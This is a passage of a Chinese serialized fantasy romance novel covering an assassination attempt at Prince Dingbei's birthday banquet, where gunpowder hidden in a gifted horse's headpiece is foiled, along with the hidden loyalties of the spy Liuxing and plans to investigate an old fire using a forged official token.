“原来如此。”徐菀终于闹明白了大概,“这些朝堂斗争也太复杂了,我听着都的累。” 慕怀瑾疼惜地搂搂她的肩,“我也厌烦这些。所以我爹弃权从商后反而轻松了很多。只需将手下的铺子和酒楼经营好,其他的一概不管,活起来反而快活。” 徐菀亦自然地将脑袋靠在他肩上,庆幸道:“还好老侯爷及时从这些权利斗争中抽离,否则我们每日都要战战兢兢,生怕自己说错一句,行错一步。” 话毕,她脑中突然灵光一现,兴奋道:“若是皇上与太后已厌烦了何钦。那么只要我们能找到一星半点的证据,不就正中太后下怀,让她能借机除掉何钦了?” “说的没错。我正是此意。”慕怀瑾说着,侧头向徐菀颇有深意地一笑。 “妙哉妙哉。那么这回何钦恐怕要走到末路了。” === 与此同时,在京城卫府的修炼阁内,钦天监监正卫颐,正坐在阵法中闭目修炼。 这时,夏紫的声音在门外响起,“师父,黑子已到。” “让他进来。” 卫颐的话音落下,修炼阁房门打开,一个身穿黑色劲装的蒙面男子步入房内。 “大人。”他颔首一拱手,房门在他身后关闭,将二人鞠在这狭小的阁楼内。 但卫颐却再没有开口,而是仍旧闭目修炼。 而黑衣人也并未挪动半分,依然保持着弯腰拱手的姿势。 就这样过了半晌,卫颐才深吸一口气,收敛好周身灵力,缓缓睁开眼。 “黑子。”卫颐望向黑衣人。 “属下在。”黑衣人立刻应道。 “你这两个月都有何发现?为何不见你来向我汇报?” “回大人,这两个月定北王并无什么大动作,还是每日在府中练武强身,偶尔出府与慕怀瑾周祎仁等人聚会宴饮。 还有就是去祭拜他的生母良妃娘娘。对了,他还去祭拜了先帝和第一任皇后,孝仁皇后。” 听到此处,卫颐终于有了反应,“他去祭拜了孝仁皇后?” 第333章 333.定北王生辰 听到此处,卫颐终于有了反应,“他去祭拜了孝仁皇后?” “对。” “后来他是否有调查孝仁皇后的迹象?” “这...倒没有。定北王祭拜结束后便回府了,也并未让我等去调查有关孝仁皇后的事。” “好。今后只要有一丝你觉得可疑之处,都尽快禀告给我。” “是,大人。” 话至此处,卫颐稍稍缓和了语气,又提起了另一件事,“两日后便是定北王的生辰了吧。” “是的。定北王生辰那日会在王府设宴。慕怀瑾、徐菀、周祎仁,还有一些与他交好的大臣都会前往。” 卫颐缓缓点头,“我要你配合我的人,在定北王的生辰宴上,将他们都杀了。” “!!!” 黑衣人蓦地抬起头,眼中闪过一抹震惊慌乱之色。 但仅一瞬,他又垂下眼睫,遮去眼中的情绪,语声亦恢复一如既往的平静无波。 “大人是想用咒术杀了他们吗?”黑衣人问。 卫颐摇了摇头,唇角勾起一抹淡淡的弧度,“徐菀在场,若是用咒术,定会被她提前识破。所以这次,我打算用火药。” “火药?” “没错。” 随后,卫颐将生辰宴那日大致的安排讲给黑衣人,并叮嘱他一定要配合。 “这就是那晚的安排。你切记定要确保那东西在定北王附近,并且离慕怀瑾他们不要太远。” 黑衣人再次俯首,“是,大人。” 说到这里,卫颐再次闭上了眼,“好了,你回去吧。” 黑衣人暗暗松了口气,应了一声,便准备转身离开。 可就在这时,卫颐却又闭着眼缓缓开口,“黑子,如今还不是你谈及儿女情长的时候,况且那个姑娘也并非你的良人。你还是好自为之吧。” 黑衣人心内一紧,但面上未漏出分毫情绪,依旧用平静无澜的语气道:“多谢大人教诲。” 末了,他再次一拱手,转身推门而出。 来到门外,黑子才深深做了个吐纳,双眸不由得望向天幕中,那被流云半遮的清冷弯月,眼中闪动着诡谲难辨的光。 少倾,他才略略颔首,目光恢复为一贯的冰冷沉静,再转身一跃,便消失在黑夜中。 === 翌日,何立骅果真去了通政使司告假,还一次性告假了十日,誓要找出当年火灾的真相,还他爹何钦清白。 随后,何立骅便动身去了永嘉侯府。 慕怀瑾与徐菀依礼招待了他,双方坐下来商议了一番两家人同去嘉礼县的细节。 之后,何立骅拿出五百两银子送给慕徐二人,作为处理此事的定金。 待将何宏彦身上的鬼魂赶走,并为他改命成功后,何立骅还有大礼送给他们表示感谢。 慕徐二人假意推辞一番后便收下了。 毕竟他们一个是商人,一个是一门心思赚钱的观主,怎会与银子过不去。 最后,他们约定三日后,便一同启程前往甘州嘉礼县。 送走何立骅后,慕徐二人与慕怀灵,又聊起了鄞玄生辰宴之事。 “大哥,明日便是鄞玄哥哥的生辰了。你为他准备了什么礼物?”慕怀灵问。 慕怀瑾警惕地睨她一眼,“怎么,是冷锋让你来探我的底吗?” “才不是呢!是我自己好奇而已。大哥你到底准备了什么礼物?说出来让我见识见识。” 慕怀灵嘴上虽如此说,那躲闪的眼神却早已泄露事实。 慕怀瑾傲娇地与她卖了一会儿关子,才道:“告诉你们也无甚大碍,左右你们也拿不出比我更好的礼物了。 我托在乌兹国的商贾伙伴买了一匹汗血宝马,昨日已送到咱们府上,现下已在侯府的马厩里了。” “!!!” 此话一出,慕怀灵顿时睁大了眼,“大哥果然是大手笔啊!汗血宝马一匹可抵千金。 而且汗血宝马所食的饲料和所住的马厩,都与盛国不同,需专门准备。再让人从乌兹国送过来,光是路费都得再花个二百两吧。” 慕怀瑾略略流露出一丝得意,“还算有点见识。” “大嫂呢?大嫂准备了什么礼物?”慕怀灵又好奇地凑到徐菀身边。 徐菀并未太将鄞玄的生辰放在心上,随意道:“我先让你大哥找铁匠打制了一把削铁如泥宝剑。之后我再用符纸和咒法将灵力灌注其中,令这把宝剑可驱恶辟邪,任何邪秽都无法近身。” “好啊!这礼物也好。可当辟邪宝剑之用。” “怀灵你呢?你和冷锋将军准备了什么礼物?”徐菀问。 “我们...”慕怀灵眼睛转了转,“不告诉你们嘿嘿嘿...” 徐菀慕怀瑾:“......”这小丫头,耍我们啊。 就在此时,朱雀与白虎也走了过来。 “我和姐姐居然也收到了王爷的请帖。师父,我们可以去吗?” 徐菀侧头望去,但见白虎手握请帖兴致勃勃,眼中充满期待。 朱雀却微微颔首,又小心翼翼地抬眼望着徐菀,似乎担心她会责怪。 看来朱雀还是没能放下流星。 慕怀瑾并未多想,对他们和气地说:“既然王爷邀请了你们,你们明日便随我等一同前往。” 慕怀瑾说完,徐菀敛了敛心神,沉声道:“侯爷已发话,我哪有不让你们去的道理。不过你们明日记得换身新衣裳,打扮得清爽精神一些,不要丢了我们侯府的脸面。” 姐弟俩听后相视一眼,面上即刻扬起一抹欢欣的笑,雀跃道:“是师父!谢谢师父和侯爷!” === 定北王生辰当晚,鄞玄只在王府内备席十余桌,款待前来祝贺的慕周两家人,以及与自己私交不错的几位朝廷官员。其所设宴席的数量与排场,皆不及与他同级的王爷。 因鄞玄常年待在军中,为人刚直严肃,素来不喜大排场的宴席,且不善于与官员虚与委蛇。 所以这样的生辰宴,反而令他舒心。 而皇上与太后见他回京半年,依然安分守己,也颇为满意。 今日也赏赐了不少宝贝,命司礼监的太监送来王府。 宴席间,觥筹交错,宾主皆愉。 鄞玄、慕怀瑾与周祎仁互相敬着酒,回忆着在疆场上意气风发的青春年华。 第334章 334.婉琳郡主倒追白虎 宴席间,觥筹交错,宾主皆愉。 鄞玄、慕怀瑾与周祎仁互相敬着酒,回忆着在疆场上意气风发的青春年华。 徐菀则与秦韶华坐在一桌,聊着闺中密事。 其他赴宴的宾客,也都与鄞玄慕周等人熟识,不时上前与他们敬酒畅聊,亦或是相互聊得火热。 趁着主人与宾客都沉浸在畅饮畅聊中,无暇顾忌旁人时,慕怀灵跑去了冷锋身边,拉着他离席不知去了哪里。 原本坐在徐菀隔壁桌的朱雀与白虎望见这一幕,不禁瞪大了眼。 “姐姐,怀灵姐姐都去找冷锋大哥了。你也去找流星大哥在府里走走吧。”白虎斜睨着自己姐姐揶揄道。 朱雀嗔怒地斜了他一眼,脸颊却不争气地热了起来,自己的目光亦不由得飘到了对面流星的身上。 今日她与白虎随师父和侯爷到席后,对面的流星仅望了她一眼,轻轻向她点了点头后,目光就没怎么落在她身上,而是一直紧盯着定北王。 当时朱雀便有些许失落,但她努力说服自己,今日他们毕竟身处定北王的生辰宴,两人无太多交流也属正常。 而方才看到慕怀灵径直前去将冷锋拉走,朱雀没由来的便有些羡慕。 虽说如今是在生辰宴上,但此时并没有人注意他们,依流星往日的做派,应该早就端着酒杯前来逗弄她了。 可今日为何,他总是一副心事重重的模样。 正在她思虑不解之时,身旁的白虎忽然暗叫一声,“不好!她怎么也来了!” 朱雀回过神来侧头望去,原来是裕王带着他最小的女儿婉琳郡主前来赴宴。 作为定北王同父异母的哥哥,在定北王生辰宴时前来恭贺实属人之常情。 但朱雀更愿意相信,裕王氏被是婉琳郡主硬拉着来的。不为别的,就是因为婉琳郡主得知白虎也要来罢了。 自从年初在六艺赛上与白虎相识,婉琳郡主便对白虎念念不忘。 不仅给白虎写了好几封书信,约他出门踏青赏花,而且还亲自上永嘉侯府找过白虎两次。 白虎推辞不了,便与她一同出游过一次。此后婉琳郡主更是如打了鸡血一般,三天两头来侯府找白虎。 白虎被她吓得成日躲在府内,或是躲在青云观里,或是在街上闲逛,就是不愿意跟婉琳见面。 用他的话说,“那个郡主比八哥还聒噪。和她在一块,我头都快炸了。” 没成想,婉琳郡主追白虎竟追到了定北王的生辰宴上! 这可让白虎如见了瘟神一般,连忙躲到朱雀身后。 “姐,你先帮我挡一挡。我先撤了啊!”说罢,白虎已一溜烟跑的没影了。 朱雀回身去捞,却什么都没捞到,气不打一处来,“喂!你走了我怎么办!这臭小子我...” “朱雀姐姐,你在这里啊!”一个夹着嗓子的甜腻嗓音,下一刻便在朱雀身侧响起。 朱雀:“......”这臭小子,看我回去怎么收拾他。 好歹对方是个郡主,身份高贵,朱雀别无他法,只好回过神挤出笑容应付道:“呵呵,是婉琳郡主啊。见过郡主殿下。” “白虎呢?他跟你一起来了吧?”婉琳郡主似在与她说话,眼神却在向四周扫视。 “呃...他往那个方向去了。应该是去如厕了。” “这样啊,那我过去找他。”婉琳说罢,便兴高采烈地朝那个方向跑了过去。 朱雀望着婉琳离去的背影,坏坏一笑,呵,臭小子,我不好过你也别想好过。 送走了白虎和婉琳,桌案旁就剩下了朱雀一人。 望着四周欢聚热闹的人群,而自己一人形单影只地坐在这里,朱雀心中无端升起一股寂寥之感。 她的目光又不由得向对面的流星飘了过去。 流星恰巧与一位武将气质的官员互饮完毕,送走了那人后,流星又坐了回去,继续目光炯炯地望着定北王等人。 朱雀鼓起勇气,向流星走了过去。 “流星将军。”朱雀轻轻行至他的桌案旁,甚至对他用上了敬语。 流星蓦地回过头,见是朱雀,眼中掠过一丝光芒,“你过来了。” 朱雀点点头,“你想去走走,醒醒酒吗?” 朱雀本以为流星会一口答应,没成想,他竟摇摇头,“现下还不行。锋哥走了,我要留在这里保护王爷的安全。” 朱雀的眼眸一下子暗了下去,“哦...那我回去了...” 她刚转身要走,手腕便被流星拉住,“走什么,你要回哪里。就在我这儿坐会儿吧。” 朱雀将将熄灭的心火,再次重燃起来,转过身抑住嘴角的弧度,说了声,“好。”随后便在流星身旁坐了下来。 朱雀坐下后,流星的目光便落在了她的身上。 只见她自从坐下后,便目不斜视地盯着前方,不敢扭过头来看他。 流星暗暗一笑,接着开口,“今日前来参加王爷的生辰宴,感觉如何?” 朱雀听见声音,猛地回过神来,扭头望向他,“还...还好。这里都是位高权重之人,我难免有些紧张。” “紧张?那是谁方才在我对面,一个人吃完了整整一只烧鸡?” “你怎么知道!” 流星怎么会知道!难道他方才一直盯着我看? 没可能啊,难道是我看漏了? 见朱雀那慌张的神色,还有逐渐涨红的脸,流星噗嗤一笑,抬手用指腹抹了一下她的嘴角,“你嘴角的油还没擦干净,又是一身烧鸡味,我不用看都猜到是怎么回事。” 朱雀:“......”这个理由比亲眼看到她吃更丢人。 “我身上都是烧鸡味?”朱雀说着,抬起胳膊拉起衣袖猛吸,生怕自己身上的味道熏到别人。 流星又被她的举动逗得哈哈大笑,“好了,别闻了。烧鸡味多香啊,我就喜欢闻。” 说着,流星竟倾身向她靠了过去,在距她脖颈一寸处停了下来,深深嗅了一口气,“嗯~真香。我都想咬一口呢。” “!!!” 流星竟然...竟然在这种场合下做出如此大胆的举动。 他...他不害臊吗! 第335章 335.暴躁的汗血宝马 他...他不害臊吗! 流星离她是如此之近,近到她能感受到流星的鼻息喷在自己颈窝处。 热热的,痒痒的,令她不由得起了一层鸡皮疙瘩。 她的身子僵直着,一动不敢动,生怕稍微一动,便会让他吻上她的脖颈。 好在片刻后,流星便直起身与她拉开了距离,还一脸促狭地望着她慌乱失措的神情,逗弄她说: “怎么了?你吃饱了吗?我这里还有半只烧鸡,你吃不吃?” 朱雀忙不迭羞赧又嫌弃地推开他站了起来,“滚滚滚!你自己吃吧!” 喊罢,朱雀便头也不回地跑走。她打算去花园里吹吹风,把身上的烧鸡味散掉。 流星望着她的身影消失,眼里的笑意渐渐熄灭,一股担忧与失意浮了上来。 而后,便是各位宾客向定北王呈送礼物的环节。 这时众宾客一一坐回自己的桌案后,兴致勃勃地等着观赏各位宾客准备的贺礼,期待大开眼界。 鄞玄一人坐在首座,裕王与慕家的桌案分别位于左右两侧第一个。朱雀白虎则坐在慕徐二人身后。 随后便是周家和流星冷锋的桌案。再往后便是几位与鄞玄交好的大人。 随后,宾客们准备的礼物一一呈上,当慕怀瑾准备的汗血宝马,由马夫牵着走进庭院时,所有人的目光皆聚焦在了那宝马身上,阵阵抽气与惊呼声在庭院中此起彼伏。 “看呐!那是来自乌兹国的汗血宝马吗?” “没错!看那马的身形,那肌肉线条,那油光锃亮的毛发,绝对是汗血宝马!” “听闻汗血宝马乃西域名驹,以流出的汗液色如鲜血为名,奔袭可一日千里,一匹价值千金。永嘉侯送的这份贺礼,真是用心又下了重金啊。” 鄞玄更是双眸晶亮,身子微微前倾,目不转睛地望着那匹骏马,而后侧头望向慕怀瑾,“怀瑾,多谢了。你的这份礼物,深得我心。” 另一边的周祎仁望着那匹宝马,眼睛都直了,嫉妒得“面目全非”。 “好你个慕怀瑾,给阿迦送如此贵重的礼物。我呢?我怎么没有?不带这样的啊!” 慕怀瑾以拳抵唇轻咳一声敛住笑意,斜睨向周祎仁道:“别急,待你生辰时,我也会为你准备的,包你满意。” 听罢此话,周祎仁才眉开眼笑,“嘿嘿,我就知道怀瑾不会亏待我的。” 随后,徐莞也送出自己的礼物——那把用符纸与咒语淬炼过的宝剑。 鄞玄谢过徐莞后收下,当着众人的面持剑舞了几下。 这把剑握在手中的感觉确实不一样,似乎有种莫名的力量灌注进他的体内,让他舞起剑时招招凌厉,霸气十足。 接下来,冷锋与流星也送出了他们准备的礼物。 那是一套在北疆战场上陪伴过鄞玄数次的战甲,在多次战役中,这套战甲屡遭破损,也烙上了自己荣耀的徽章。 在鄞玄的生辰前,流星与冷锋暗中找了京城手艺高超的工匠,将破损的战甲修补一新,内里还特别加了一层精钢锁子甲,令此战甲愈加刀枪不入。 周祎仁则为鄞玄送了一把由精铁锻造的强弩,弓身色泽乌沉如墨,呈优雅的弧形,犹如满月高悬,细腻繁复的云雷纹镌刻其上,宛如一条沉睡的巨龙蓄势待发。 望着自己好友们所送的这些强兵利器,鄞玄心中欢欣,仿佛又回到热血飞扬的沙场,令他无比亢奋激昂。 此时,慕怀瑾向鄞玄提议道:“阿迦,今日难得收获如此多精兵利器,不如你将它们都换上,再骑上汗血宝马试试?” 下方众宾客亦附喝道:“是啊王爷。您上马试试,我们都想见识见识呢。” 在众宾客的起哄下,鄞玄爽快地从桌案后起身,示意冷锋流星过来帮自己穿戴战甲。 二人即刻起身,动作麻利地帮鄞玄穿上战甲,仿佛此前已做了无数遍,早已烂熟于心。 穿好战甲后,流星望了一眼汗血宝马额头上所带的铜制马冠,忽然忧心忡忡提醒道:“王爷,此驹性情暴烈,王爷还要多加小心。” 鄞玄正在垂眸整理自己的护肘,随意抬眼朝骏马一瞥,无谓道:“西域名驹性子暴烈实属平常,若是太过温顺反而无趣了。你们且看本王如何驯服此名驹。” 话毕,鄞玄将徐菀送的宝剑挂在腰间,便转身大步流星朝汗血宝马走去。 行至骏马旁,鄞玄先细细抚摸了一番它的鬃毛。 但这匹骏马性子确实暴戾,由马夫牵着还不安地扭动着脑袋,不停扬蹄乱踢,不时发出尖厉嘶鸣之声。王府马夫控制着它都很是吃力。 鄞玄见此,直接从马夫手中接过缰绳,紧接着翻身上马。 谁料,马儿感觉到有人上了它的马背,愈加兴奋暴躁,猛地扬起前蹄就向庭院外狂奔而去,眨眼间便消失得无影无踪。 只剩下马儿狂奔时带起的疾风与灰尘,在庭院中弥漫。 这一突发状况令在场所有人都始料未及,一些丫鬟女眷甚至吓得险些从椅子上摔下来,发出阵阵惊呼。 冷锋熟悉王府中的布局,清楚从这个庭院出去,马儿只能在府中转一圈再回来。 于是他向流星说了一句便立刻动身,打算从另一条路插过去拦住骏马,帮鄞玄将其一同制服。 流星则留在庭院中,向众宾客安抚道:“各位大人莫慌。王爷身经百战,所驯马匹不计其数,定能驯服此烈马,宁安而归。” 庭院内紧张的情绪这才稍稍平复下来。但众人依然面露担忧,并且一阵窃窃私语声又响了起来。 在这其中尤以慕怀瑾为最。只因马匹烈马是他所赠。若是让定北王因此出了什么闪失,便都是他的责任。 “怀瑾,那匹马是怎么回事?它本来性子就是如此暴烈吗?”徐莞略略担忧地问。 慕怀瑾摸着下巴,思忖着缓缓摇头,“虽说这汗血宝马相比一般马匹性子是刚烈了一些。但我专门让友商挑选了一匹性子较温和的。 且马夫将其从乌兹国一路骑到盛国京城,都未发生什么大事。为何今晚到了定北王府,它会如此暴躁。” 第336章 336.剧烈爆炸 “为何今晚到了定北王府,它会如此暴躁。菀菀,你可有发现王府中有何异常?” 徐莞又细细感觉一番,摇了摇头,“没有。若是有异常,我在入府时便能感知到。” 他们身后的白虎也疑惑地啧了一声,“那就怪了。我昨日偷偷去马厩看它的时候,它也挺乖的啊。今日怎么会……” “一定是哪里出了问题……”慕怀瑾剑眉微蹙,敏锐意识到了一丝不对,“我去为阿伽帮忙!” 话毕,慕怀瑾霍然起身,正要向庭院外冲去,忽而一阵马蹄哒哒声,伴着疾风呼啸而来。 但见年轻的王侯身披金甲,手持长剑,气宇轩昂坐于高头大马之上,周身的雄壮与霸气,无不令在场所有人惊艳侧目。 鄞玄骑着骏马再次返回庭院,潇洒地拉了一下缰绳,便让这匹烈马乖乖停在他想要的位置,并且再无方才那样暴躁不驯的模样。 “各位莫要担忧,本王已将这匹烈马驯服。今后它将对本王马首是瞻,听凭本王号令!” 就在此时,宾客中不知是谁起身贺道:“英雄配名驹。王爷有了这匹宝马与辟邪宝剑,再穿上金甲,定能所向披靡,再建奇功!” 紧接着庭院内所有宾客皆端着酒杯起身,齐声高呼,“祝王爷所向披靡,再建奇功!” 就在鄞玄沉浸在庭院内一声声赞美的呼声中时,宴席间不知是谁猝然吼了一声,“王爷小心!” 而与此同时,慕怀瑾也终于看透到底何处出了问题。 原来马冠下方的缨穗中,有一根竟是火药的引线,此时已燃起火来,眼看着就要烧尽。但鄞玄与院内众人却还未反应过来。 就在这千钧一发之际,离鄞玄桌案最近的慕怀瑾,一拍案几腾空而起,翻至鄞玄的桌案后,顺势抄起案上的强弩,从侧面对准马头上的马冠,倏地将弩箭射出。 只听嗖的破空之声响起,那支弩箭以迅雷不及掩耳之势,从侧面射中马冠,并带着马冠一直向院外的照壁飞去。 紧接着便闻轰隆一声巨响,一阵强烈的爆炸在庭院外轰然炸开,竟直接将照壁炸成了碎块。 随后便是熊熊大火腾空而起,照亮了整座定北王府。 即使马冠是在庭院外爆炸的,爆炸所产生的冲击力之大,登时将庭院内的桌案与宾客全部撞翻在地。 桌椅碗碟等所有物品,皆肆意乱飞出去,砸在宾客身上,引来众人连声嚎叫。 饶是那马冠在院外爆炸,都有如此大的破坏力,若是在庭院内炸开,后果不堪设想。 片刻后,惊惶的惨叫声便蓦地响起,“救命啊!有刺客!着火啦!快来救火!” 在一片火光与惊呼的混乱中,徐菀勉力撑着身子,想要从地上坐起。 方才的爆炸发生的太过突然,她也与所有人一样,被冲击波撞翻在地。 就在此时,一双有力的手臂忽然从背后托住了她,将她从地上扶起。 “菀菀你怎么样?有没有受伤?”来人正是慕怀瑾。 徐菀喉咙被烟尘呛得咳嗽两声,而后摇摇头道:“我没事...” 慕怀瑾小心翼翼将她扶起,细细检查过她确实无恙后,急促地说:“你还能走吗?快带怀灵和我们府上的人离开。” “你呢?”徐菀握住他的手,双眼紧紧望住他。 慕怀瑾亦握紧她的手道:“我还要留下来帮鄞玄。那刺客应该就是想用炸药炸死我们,因而刺客此时估计已逃走,之后不会有什么危险了。我向你保证,今晚一定会平安回府。” “好!”徐菀点头后,慕怀瑾便向倒在庭院正中的鄞玄跑去。 徐菀则去寻找身旁的慕怀灵和朱雀白虎等人。他们三人亦倒在地上连连咳嗽。 突然,一道身影倏地来到朱雀身旁,“朱雀,你怎么样!” 朱雀见来人是流星,心头一动,体内霎时充满了力量,“流星!我没事。你有没有受伤?” “我也没事。”流星将朱雀和白虎扶起,急促地喘着气道:“快,快和慕夫人他们离开这里,快走!” “你怎么办!” “我不会有事,不用担心我。”流星说着,又将与徐菀一起将慕怀灵扶起。 慕怀灵被方才的爆炸吓得瑟瑟发抖,双眼发红快要哭出来。徐菀搂着她的肩低声安慰。 恍惚间慕怀灵好似听到有人在叫冷锋的名字,她怔忪的眼神终于有了些焦距,“冷大哥呢?他怎样了?” “锋哥也没事,他已经去救王爷了,让我务必送你们出府。快来,往这边走。” 几人未再多做停留,跟着流星即刻起身向王府角门而去。 一路上,王府并未如常人所料那般陷入混乱,而是在管家的指挥调配下,有条不紊地处理着爆炸后的事宜。 一些家丁提着一桶桶水浇在照壁附近有明火之处,奋力灭火。另一些则赶去设宴的庭院,将受伤与受惊的宾客及下人们一一带走医治。 因此在流星的带领下,徐菀一行人畅通无阻,很快便到达王府角门。 流星停下脚步,打开门将他们请出去,“夫人,你们快走吧,侯府的马车就在巷口。” “好,多谢。”徐菀谢过后便闪身而出。 慕怀灵还想返回去找冷锋,却被徐菀打晕,与白虎一同将其带走。 朱雀也并未往外走,而是停下来忧心忡忡望向流星,欲言又止。 流星明白她想说什么,低下头捧起她的脸,柔声安抚,“不用担心朱雀,后面的事处理完后自会去找你。” 朱雀只好压下满腔的疑问,点点头快步转身向徐菀白虎追了过去。 方才她想说的,并不是对流星的担忧和不舍,而是她在爆炸前看到的一幕。 因为她注意到,自定北王驾马返回庭院后,流星的目光便一直注视着马首上的马冠。 待马冠下的缨穗刚一燃起,流星便蓦地喊了出来,就像...就像他早已知道那马冠会爆炸一样... 若不是朱雀也一直盯着流星,她也未必能注意到。 第337章 337.流星的另一面 若不是朱雀也一直盯着流星,她也未必能注意到。 但她还是暂且将这个疑惑压了下去,待今晚的事平息之后,再找机会问他。 而返回王府的流星,则长长松了一口气。 那晚卫颐在修炼阁将今晚的刺杀计划告诉他时,他便知晓了火药会被见机放在一样贺礼当中。 于是,从贺礼一样一样呈上来时,他便全神贯注地留意着。 直到发现那匹汗血宝马超乎以往的暴躁,他才确定,火药被放在了那匹马身上。 只因此次由卫颐改良的火药,特意将火药味隐去,单凭人的嗅觉几乎无法察觉,仅有嗅觉灵敏的牲畜或许会有所反应。 在鄞玄上马之前,流星曾开口提醒过一次。 但卫颐料到,今晚的鄞玄定会被往日沙场的荣光冲昏头脑,在人群起哄下,必然会穿上战甲,腰佩宝剑,骑上宝马。所以无论火药放在哪件贺礼中,都能致其于死地。 鄞玄也如卫颐所料,骑上了骏马。当那匹马跑出庭院时,流星其实松了口气,因为他最在意的朱雀就在庭院中。 可没成想,鄞玄竟又骑着宝马跑了回来,且毫发无损。 流星的心即刻提到了嗓子眼,目不转睛盯着那马冠,在它的引线刚一燃起时,便开口大喊。 这样既不会引起旁人猜疑,还能及时引人注意将其处理。 好在慕怀瑾的行动迅速果断,用弩箭将马冠射飞。不过那火药威力之大,还是将庭院中的宾客震得头晕目眩,扑倒在地。 直到亲眼确定朱雀无恙,流星高悬的心才放了下来。鄞玄应该也并无大碍。 当初年仅八岁的流星,全家皆死于盛国与莫克国的大战之中。唯有流星幸得卫颐所救,捡回了一条命。 之后的三年,流星都跟在卫颐身边习武。十一岁时卫颐创造机会将他安插在了定北王身边,让他为自己收集情报,必要时帮自己做点事。 对老永嘉侯跟鄞玄的恨,和对卫颐救命培养之恩的感激,流星答应了卫颐的要求。 但在鄞玄身边待了十年,当年的仇恨在他心中渐渐淡去,流星甚至对鄞玄和冷锋产生了些许兄弟之情。 因此今晚,他才会冒着被卫颐惩处的风险,及时大喊来引起众人的注意。 可卫颐迟早会知道是他从中做了手脚。待今后卫颐再命他动手杀鄞玄或是永嘉侯时,他又该怎么办? 更可怕的是,若有朝一日朱雀知道了他的真实身份,又会如何对待他? 这些流星根本不敢细想。他甩甩头将这些思绪从脑中赶走,调整好情绪再次回到王府庭院中。 === 徐莞等人回到永嘉侯府后,一直等到后半夜,慕怀瑾才面带疲色返回侯府。 “侯爷,您终于回来啦!” “怀瑾你怎么样!定北王府那边如何了?” “大哥,冷锋还好吗?没有受伤吧?” “儿啊,你回来就好,可叫娘担心啊。” 慕怀瑾一回府,府上的家人与管家便全都围了过来,一面关切询问着,一面陪着他一同走进正厅。 “我没事,让娘和大家担心了。”慕怀瑾沉声安抚道。 他的衣袍上粘满了灰尘,甚至还有烧焦的痕迹。面上也有几处黑灰,但并无伤痕,精神状态亦平稳沉静。 “定北王府的人都平安无碍。爆炸只炸毁了一处照壁和厢房,但火势还是蔓延到了旁边的院落。 方才我与鄞玄周祎仁,都在王府帮忙灭火并疏散宾客。这会儿火已扑灭,王府又加派了人手守卫,我便回来了。” 说到此处顿了顿,慕怀瑾望向慕怀灵又道:“你的冷锋大哥没事。见我的第一面不是问你亲大哥怎样,反而问别的大哥,真是我的好妹妹。” 慕怀瑾说话时面上虽无甚表情,但眼中和语气中透出的不满与嗔怒,却实打实地令此地气压低了好几度。 但徐莞从他的语气中,为何还听到了一种嫉妒? 慕怀灵仿若被当头打了一棒,连忙慌乱地解释,“我…不是…大哥,你不是好着呢吗…” 慕怀瑾听着,又“凶狠地”向她睨了过去,慕怀灵连忙改口,“我是说大哥你吉人自有天相,绝对不会出事的!我在府中也担心你呢。不信你问大嫂。” 徐莞颔首掩唇,笑而不语。其他慕家人也都暗自忍住笑意,瞅着他们兄妹二人,心中感叹真是一对儿冤家。 “好了,怀瑾回来了,大家就不必担心了。娘,您快回屋休息吧。” 徐莞说着,将慕家人依次请了回去,而后与慕怀瑾一同返回松风苑。 “火药被装在了马冠里?到底是谁动的手脚?”在返回松风苑的路上,徐菀便迫不及待问。 “对。我们起初想不通那宝马为何变得如此暴躁。如今想来,是马冠中的火药味让它感到不安。但那种火药的味道很淡,平常人难以闻到,所以我们起先都没发觉。 幸好当时有人及时发现喊了一声,我才能即刻反应,否则后果不堪设想。” “原来如此,”徐菀若有所思地说,同时还不忘将慕怀瑾夸赞一番,“还好怀瑾你动作迅速,大家都还未反应过来,你就一箭将其射飞了。否则如果那火药在庭院炸开,以其威力,恐怕会把所有人都炸成灰烬。” “对,所以安放炸药之人,是想将我们都炸死,而不是仅对鄞玄一人。”慕怀瑾道:“而且他还将炸药放在我送的贺礼上,想嫁祸于我。” “嫌犯抓住了吗?”二人回到松风苑,徐菀帮他将破损的外袍脱下,同时吩咐墨竹去浴房放水。 慕怀瑾摇摇头,“鄞玄已将看马的两名下人控制,但目前还没问出什么。他们二人都是王府旧人,理应不会背叛鄞玄。但也不排除被威胁的可能。” “那么你觉得幕后指使者是谁?” 慕怀瑾立在窗边,抬首望向寂寥的夜空,轻叹一声,“鄞玄自去年回京后,大部分时间都待在府中,不参与朝堂之事,更未再妄图兵权。没想到皇上与太后还是不想放过他。” 第338章 338.流星的仇恨 徐菀亦行至他身旁,与他并肩而立,同时抬起头望着苍茫天幕,幽幽道:“或许皇上与太后对鄞玄的担心并不多余。鄞玄也不似你想的那般与世无争。” 慕怀瑾猛地侧过头去,“菀菀你是说...” 徐菀只是弯唇淡淡一笑,并未回答,再次转眸望向那高悬的圆月。那明亮高洁的圆月之后,也有些许阴云飘过。 === 次日,慕怀瑾又去了定北王府一次,确认鄞玄与定北王府短期内不会再出危险后,才回了侯府。 而他们与何立骅约定出发的日子也到了。 慕徐二人简单收拾了些衣物和用品,徐菀为自己的小荷包中填充了不少符纸和法器,慕怀瑾则将近期生意上的事宜向慕怀清交代清楚。 最后二人一同向老夫人辞行后,便上何府准备的马车。 何立骅此次外出,也未多做声张,仅带了夫人宋玉卿、儿子何宏彦,以及三名武功高强的侍从,驾着两辆马车,便向甘州嘉礼县而去。 从京城至嘉礼县,路上需两日。 这两日里,何家小少爷仅是趴在马车车窗上,望着窗外出神。 或许他体内的关戎也知道,自己将要回到家乡了吧。 在赶路时闲来无事,慕何两家人便随意聊了起来。 何立骅从怀中拿出一道令牌,神秘又略略得意地向他们展示,“你们看这是什么?” 慕怀瑾瞥见上面的字,微微挑了挑眉,“这是甘州巡抚的令牌?” “侯爷好眼力。”何立骅笑着向慕怀瑾恭维道。 身旁的夫人宋玉卿一听,蓦地瞪大了眼,“夫君,你为何会有巡抚的令牌?” 何立骅斜睨她一眼,促狭道:“我当然没有。这个令牌是我伪造的。” 宋玉卿大惊,“你...你怎能伪造令牌?这可是要革职入狱的罪啊。” 何立骅忙安抚道:“夫人莫慌。我们此去调查当年之事,免不了需要查阅县衙门中存放的县志等卷宗。 但我等如今是暗中调查,无正当理由调阅查看。因此我才想出这个法子。如果是巡抚的话,自然有权利调阅卷宗了。” “可是...你不怕县令发现不对吗?” “不会。”慕怀瑾在马车中换了个姿势,淡淡道:“此类偏远地区的县镇,县长见过的最大的官,估计也就是甘州太守。 而巡抚乃京城派出巡查各州及地区的官员,直接向皇上汇报,连各州太守都需礼让三分,生怕被他们抓住把柄。 因此小小嘉礼县令,必不敢质疑于巡抚,更不敢上书太守去求证,只能配合将卷宗给我们查阅。” 